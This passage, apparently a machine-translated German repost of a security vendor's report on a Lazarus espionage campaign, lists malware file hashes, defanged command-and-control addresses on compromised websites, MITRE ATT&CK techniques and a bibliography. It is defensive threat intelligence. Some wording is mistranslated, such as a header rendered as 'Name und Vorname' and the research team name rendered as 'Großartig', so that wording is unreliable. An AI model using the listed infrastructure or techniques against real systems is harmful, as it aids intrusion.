569234EDFB631B4F99656529EC21067A4C933969 | colorui.dll | Win64/NukeSped.JK | Ein Dropper von BLINDINGCAN, der von einer legitimen colorcpl.exe seitlich geladen wird. |
735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2 | N / A | Win64/NukeSped.JK | Eine 64-Bit-Variante der BLINDINGCAN RAT. |
4AA48160B0DB2F10C7920349E3DCCE01CCE23FE3 | N / A | Win32/NukeSped.KQ | Ein HTTP(S)-Downloader. |
C71C19DBB5F40DBB9A721DC05D4F9860590A5762 | Adobe.tmp | Win64/NukeSped.JD | Ein Dropper des HTTP(S)-Uploaders. |
97DAAB7B422210AB256824D9759C0DBA319CA468 | credui.dll | Win64/NukeSped.JH | Ein Dropper eines Zwischenladers. |
FD6D0080D27929C803A91F268B719F725396FE79 | N / A | Win64/NukeSped.LP | Ein HTTP(S)-Uploader. |
83CF7D8EF1A241001C599B9BCC8940E089B613FB | N / A | Win64/NukeSped.JH | Ein Zwischenlader, der eine zusätzliche Nutzlast aus dem Dateisystem lädt. |
C948AE14761095E4D76B55D9DE86412258BE7AFD | DBUtil_2_3.sys | Win64/DBUtil.A | Ein legitimer anfälliger Treiber von Dell, der von FudModule.dll abgelegt wurde. |
085F3A694A1EECDE76A69335CD1EA7F345D61456 | cryptsp.dll | Win64/NukeSped.JF | Ein Dropper in Form einer trojanisierten Lecui-Bibliothek. |
55CAB89CB8DABCAA944D0BCA5CBBBEB86A11EA12 | mi.dll | Win64/NukeSped.JF | Ein Dropper in Form einer trojanisierten Lecui-Bibliothek. |
806668ECC4BFB271E645ACB42F22F750BFF8EE96 | credui.dll | Win64/NukeSped.JC | Ein trojanisiertes FingerText-Plug-in für Notepad++. |
BD5DCB90C5B5FA7F5350EA2B9ACE56E62385CA65 | msdxm.ocx | Win32/NukeSped.KT | Eine trojanisierte Version von LibreSSLs sslSniffer. |
Netzwerk
IP | Provider | Zum ersten Mal gesehen | Details |
---|---|---|---|
67.225.140[.]4 | Liquid Web, LLC | 2021-10-12 | Eine kompromittierte legitime WordPress-basierte Website, auf der der C&C-Server gehostet wird https://turnscor[.]com/wp-includes/feedback.php |
50.192.28[.]29 | Comcast Cable Communications, LLC | 2021-10-12 | Eine kompromittierte legitime Website, auf der der C&C-Server gehostet wird https://aquaprographix[.]com/patterns/Map/maps.php |
31.11.32[.]79 | Aruba SpA | 2021-10-15 | Eine kompromittierte legitime Website, auf der der C&C-Server gehostet wird http://www.stracarrara[.]org/images/img.asp |
MITRE ATT&CK-Techniken
Diese Tabelle wurde mit erstellt Version 11 des MITRE ATT&CK-Frameworks.
Taktik | ID | Name und Vorname | Beschreibung |
---|---|---|---|
ausführung | T1106 | Native API | Die Lazarus-HTTP(S)-Hintertür verwendet die Windows-API, um neue Prozesse zu erstellen. |
T1059.003 | Befehls- und Skriptinterpreter: Windows-Befehlsshell | HTTP(S)-Backdoor-Malware verwendet cmd.exe, um Befehlszeilentools auszuführen | |
Verteidigungsflucht | T1140 | Enthüllen/Dekodieren von Dateien oder Informationen | Viele der Lazarus-Tools werden verschlüsselt im Dateisystem gespeichert. |
T1070.006 | Entfernung des Indikators auf dem Host: Timestomp | Die Lazarus-HTTP(S)-Hintertür kann die Dateizeitattribute einer ausgewählten Datei ändern. | |
T1574.002 | Hijack-Ausführungsablauf: DLL-Side-Loading | Viele der Lazarus-Dropper und -Loader verwenden ein legitimes Programm zum Laden. | |
T1014 | Rootkit | Das Benutzer-zu-Kernel-Modul von Lazarus kann Überwachungsfunktionen des Betriebssystems deaktivieren. | |
T1027.002 | Verschleierte Dateien oder Informationen: Softwarepaketierung | Lazarus verwendet Themida und VMProtect, um ihre Binärdateien zu verschleiern | |
T1218.011 | System-Binär-Proxy-Ausführung: Rundll32 | Lazarus verwendet rundll32.exe, um seine schädlichen DLLs auszuführen | |
Command and Control | T1071.001 | Application Layer Protocol: Webprotokolle | Die HTTP(S)-Hintertür von Lazarus verwendet HTTP und HTTPS, um mit ihren C&C-Servern zu kommunizieren. |
T1573.001 | Verschlüsselter Kanal: Symmetrische Kryptographie | Die HTTP(S)-Hintertür von Lazarus verschlüsselt den C&C-Verkehr mit dem AES-128-Algorithmus. | |
T1132.001 | Datenkodierung: Standardkodierung | Die HTTP(S)-Payloads von Lazarus codieren den C&C-Datenverkehr mit dem base64-Algorithmus. | |
Exfiltration | T1560.002 | Gesammelte Daten archivieren: Archiv über Bibliothek | Der Lazarus-HTTP(S)-Uploader kann interessante Dateien komprimieren und sie in sein C&C hochladen. |
Ressourcenentwicklung | T1584.004 | Infrastruktur erwerben: Server | Kompromittierte Server wurden von allen Lazarus HTTP(S) Backdoors, Uploadern und Downloadern als C&C verwendet. |
Fähigkeiten entwickeln | T1587.001 | Malware | Benutzerdefinierte Tools aus dem Angriff werden wahrscheinlich von den Angreifern entwickelt. Einige weisen hochspezifische Kernel-Entwicklungsfähigkeiten auf, die früher in Lazarus-Tools zu sehen waren. |
ausführung | T1204.002 | Benutzerausführung: Schädliche Datei | Das Ziel wurde dazu verleitet, ein bösartiges Word-Dokument zu öffnen. |
Erster Zugriff | T1566.003 | Phishing: Spearphishing über Service | Das Ziel wurde über LinkedIn Messaging kontaktiert. |
T1566.001 | Phishing: Spearphishing-Anhang | Das Ziel hat einen böswilligen Anhang erhalten. | |
Beharrlichkeit | T1547.006 | Boot- oder Logon-Autostart-Ausführung: Kernel-Module und Erweiterungen | Das BYOVD DBUtils_2_3.sys installiert wurde, um über den Bootloader zu starten (value 0x00 der Startseite Schlüssel unter HKLMSYSTEMCurrentControlSetServices. |
T1547.001 | Boot- oder Logon-Autostart-Ausführung: Autostart-Ordner | Der Dropper des HTTP(S)-Downloaders erstellt eine LNK-Datei OneNoteTray.LNK im Autostart-Ordner. |
Bibliographie
Ahnlab. Analysebericht zum Rootkit-Angriff der Lazarus Group mit BYOVD. Vers. 1.0. 22. September 2022. Abgerufen vom AhnLab Security Emergency Response Center.
Ahnlab. (2021, 4. Juni). APT-Angriffe auf inländische Unternehmen unter Verwendung von Bibliotheksdateien. Vom AhnLab Security Emergency Response Center abgerufen.
Ahnlab. (2022, 22. September). Analysebericht zum Rootkit-Angriff der Lazarus Group mit BYOVD. Vom AhnLab Security Emergency Response Center abgerufen.
Breitenbacher, D., & Kaspars, O. (2020, Juni). Operation In(ter)ception: Luft- und Raumfahrt- und Militärunternehmen im Fadenkreuz von Cyberspionen. Von WeLiveSecurity.com abgerufen.
ClearSky-Forschungsteam. (2020, 13. August). Operation „Dream Job“ Weit verbreitete nordkoreanische Spionagekampagne. Von ClearSky.com abgerufen.
Dekel, K. (oJ). Sicherheitsforschung von Sentinel Labs. CVE-2021-21551 – Hunderte Millionen von Dell-Computern sind aufgrund mehrerer Fehler bei der Rechteausweitung von BIOS-Treibern gefährdet. Von SentinelOne.com abgerufen.
ESET. (2021, 3. Juni). ESET Bedrohungsbericht T 1 2021. Von WeLiveSecurity.com abgerufen.
Großartig. (2016, 16. August). Das Gleichungs-Werbegeschenk. Von SecureList.com abgerufen.
HvS Consulting AG. (2020, 15. Dezember). Grüße von Lazarus: Anatomie einer Cyber-Spionage-Kampagne. Abgerufen von hvs-consulting.de.
Cherepanov, A., & Kálnai, P. (2020, November). Lazarus-Lieferkettenangriff in Südkorea. Von WeLiveSecurity.com abgerufen.
Kálnai, P. (2017, 2 17). Entmystifizierung gezielter Malware, die gegen polnische Banken eingesetzt wird. (ESET) Von WeLiveSecurity.com abgerufen.
Kopeytsev, V., & Park, S. (2021, Februar). Lazarus zielt mit ThreatNeedle auf die Verteidigungsindustrie ab. (Kaspersky Lab) Von SecureList.com abgerufen.
Lee, T.-w., Dong-wook & Kim, B.-j. (2021). Operation BookCode – Ausrichtung auf Südkorea. Virus-Bulletin. lokaler Host. Von vblocalhost.com abgerufen.
Maclachlan, J., Potaczek, M., Isakovic, N., Williams, M., & Gupta, Y. (2022, 14. September). Es ist Zeit für PuTTY! Phishing bei Stellenangeboten in der DVRK über WhatsApp. Von Mandiant.com abgerufen.
Tomonaga, S. (2020, 29. September). BLINDINGCAN – Von Lazarus verwendete Malware. (JPCERT/CC) Von blogs.jpcert.or.jp abgerufen.
US-CERT CISA. (2020, 19. August). MAR-10295134-1.v1 – Nordkoreanischer Fernzugriffstrojaner: BLINDINGCAN. (CISA) Von cisa.gov abgerufen.
Weidemann, A. (2021, 1 25). Neue Kampagne für Sicherheitsforscher. (Google Threat Analysis Group) Von blog.google abgerufen.
Wu, H. (2008). Die Stream-Chiffre HC-128. In M. Robshaw & O. Billet , Neue Stream-Cipher-Designs (Bd. 4986). Berlin, Heidelberg: Springer. Von doi.org abgerufen.
- Blockchain
- Einfallsreichtum
- Cryptocurrency Brieftaschen
- Kryptoaustausch
- Internet-Sicherheit
- Cyber-Kriminelle
- Internet-Sicherheit
- Heimatschutzministerium
- digitale Brieftaschen
- ESET-Forschung
- Firewall
- Kaspersky
- Malware
- McAfee
- NexBLOC
- Plato
- platon ai
- Datenintelligenz von Plato
- Plato-Spiel
- PlatoData
- Platogaming
- VPN
- Wir leben Sicherheit
- Website-Sicherheit
- Zephyrnet